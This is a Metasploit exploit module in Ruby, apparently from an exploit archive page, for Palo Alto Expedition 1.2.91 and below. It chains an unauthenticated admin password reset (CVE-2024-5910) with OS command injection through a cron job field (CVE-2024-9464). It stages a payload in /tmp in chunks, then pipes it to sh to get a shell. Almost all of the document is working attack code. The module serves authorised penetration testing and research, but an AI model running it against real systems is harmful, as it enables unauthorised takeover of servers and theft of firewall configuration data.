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Palo Alto Expedition 1.2.91 Remote Code Execution
This Metasploit module lets you obtain remote code execution in Palo Alto Expedition versions 1.2.91 and below. The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data. When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.
class MetasploitModule < Msf::Exploit::Remote class XsrfExceptionError < StandardError; end class XsrfExceptionUnreachableError < XsrfExceptionError; end Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)', 'Description' => %q{ Obtain remote code execution in Palo Alto Expedition version 1.2.91 and below. The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data. When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection. }, 'License' => MSF_LICENSE, 'Author' => [ 'Michael Heinzl', # MSF Module 'Zach Hanley', # Discovery CVE-2024-9464 and PoC 'Enrique Castillo', # Discovery CVE-2024-9464 'Brian Hysell' # Discovery CVE-2024-5910 ], 'References' => [ [ 'URL', 'https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/'], [ 'URL', 'https://security.paloaltonetworks.com/PAN-SA-2024-0010'], [ 'URL', 'https://security.paloaltonetworks.com/CVE-2024-5910'], ['URL', 'https://attackerkb.com/topics/JwTzQJuBmn/cve-2024-5910'], ['URL', 'https://attackerkb.com/topics/ky1MIrne9r/cve-2024-9464'], [ 'CVE', '2024-5910'], [ 'CVE', '2024-24809'] ], 'DisclosureDate' => '2024-10-09', 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => 'True', 'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1..3), 'FETCH_WRITABLE_DIR' => '/tmp' }, 'Payload' => { # the vulnerability allows the characters " and \ # but the stager in this module does not 'BadChars' => "\x22\x3a\x3b\x5c" # ":;\ }, 'Platform' => %w[unix linux], 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => %w[unix linux] # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, ACCOUNT_LOCKOUTS] } ) ) register_options( [ OptString.new('USERNAME', [false, 'Username for authentication, if available', 'admin']), OptString.new('PASSWORD', [false, 'Password for the specified user', 'paloalto']), OptString.new('TARGETURI', [ true, 'The URI for the Expedition web interface', '/']), OptBool.new('RESET_ADMIN_PASSWD', [ true, 'Set this flag to true if you do not have credentials for the target and want to reset the current password to the default "paloalto"', false]), OptString.new('WRITABLE_DIR', [ false, 'A writable directory to stage the command', '/tmp/' ]), ] ) end def xsrf_token_value user = @username || datastore['USERNAME'] password = @password || datastore['PASSWORD'] res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bin/Auth.php'), 'keep_cookies' => true, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'action' => 'get', 'type' => 'login_users', 'user' => user, 'password' => password } ) raise XsrfExceptionUnreachableError, 'Failed to receive a reply from the server.' unless res data = res.get_json_document raise XsrfExceptionUnreachableError, "Unexpected reply from the server: #{data}" unless data['csrfToken'] print_good('Successfully authenticated') csrftoken = data['csrfToken'] raise XsrfExceptionUnreachableError, 'csrftoken not found.' unless csrftoken vprint_status("Got csrftoken: #{csrftoken}") csrftoken end def check unless datastore['USERNAME'] && datastore['PASSWORD'] unless datastore['RESET_ADMIN_PASSWD'] print_bad('No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again.') return CheckCode::Unknown end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php') ) return CheckCode::Unknown('Failed to receive a reply from the server.') unless res if res.code == 403 return CheckCode::Safe end return CheckCode::Safe("Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to') respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto' print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).") @password = respass @username = 'admin' @reset = true end begin @xsrf_token_value = xsrf_token_value rescue XsrfException::Error return CheckCode::Safe end res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bin/MTSettings/settings.php?param=versions'), 'keep_cookies' => true, 'headers' => { 'Csrftoken' => @xsrf_token_value } ) data = res.get_json_document version = data.dig('msg', 'Expedition') if version.nil? return CheckCode::Unknown end print_status('Version retrieved: ' + version) if Rex::Version.new(version) > Rex::Version.new('1.2.91') return CheckCode::Safe end return CheckCode::Appears end def execute_command(cmd, check_res) name = Rex::Text.rand_text_alpha(4..8) vprint_status("Running command: #{cmd}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'), 'keep_cookies' => true, 'headers' => { 'Csrftoken' => @xsrf_token_value }, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'action' => 'set', 'type' => 'cron_jobs', 'project' => 'pandb', 'name' => name, 'cron_id' => 1, 'recurrence' => 'Daily', 'start_time' => "\";#{cmd} #" } ) if check_res && !res.nil? && res.code != 200 # final execute command does not background for some reason? fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") end end def exploit cmd = payload.encoded chunk_size = rand(25..35) vprint_status("Command chunk size = #{chunk_size}") cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join) staging_file = (datastore['WRITABLE_DIR'] + '/' + Rex::Text.rand_text_alpha(3..5)).gsub('//', '/') if !@reset && !(datastore['USERNAME'] && datastore['PASSWORD']) unless datastore['RESET_ADMIN_PASSWD'] fail_with(Failure::BadConfig, 'No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again..') end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php') ) fail_with(Failure::Unreachable, 'Failed to receive a reply.') unless res fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to') respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto' print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).") @password = respass @username = 'admin' end begin @xsrf_token_value = xsrf_token_value rescue XsrfException::Error return fail_with(Failure::Unreachable, 'Failed to receive XSRF token.') end print_status('Adding a new cronjob...') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'), 'keep_cookies' => true, 'headers' => { 'Csrftoken' => @xsrf_token_value }, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'action' => 'add', 'type' => 'new_cronjob', 'project' => 'pandb' } ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end data = res.get_json_document fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{data}") unless data['success'] == true # Stage the command to a file redirector = '>' chunk_counter = 0 cmd_chunks.each do |chunk| chunk_counter += 1 vprint_status("Staging chunk #{chunk_counter} of #{cmd_chunks.count}") write_chunk = "echo -n \"#{chunk}\" #{redirector} #{staging_file}" execute_command(write_chunk, true) redirector = '>>' sleep 1 end # Once we launch the payload, we don't seem to be able to execute another command, # even if we try to background the command, so we need to execute and delete in # the same command. print_good('Command staged; command execution requires a timeout and will take a few seconds.') execute_command("cat #{staging_file} | sh && rm #{staging_file}", false) sleep 3 print_status('Check thy shell.') endend
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This Metasploit module lets you obtain remote code execution in Palo Alto Expedition versions 1.2.91 and below. The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data. When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.
This Metasploit module lets you obtain remote code execution in Palo Alto Expedition versions 1.2.91 and below. The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data. When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.
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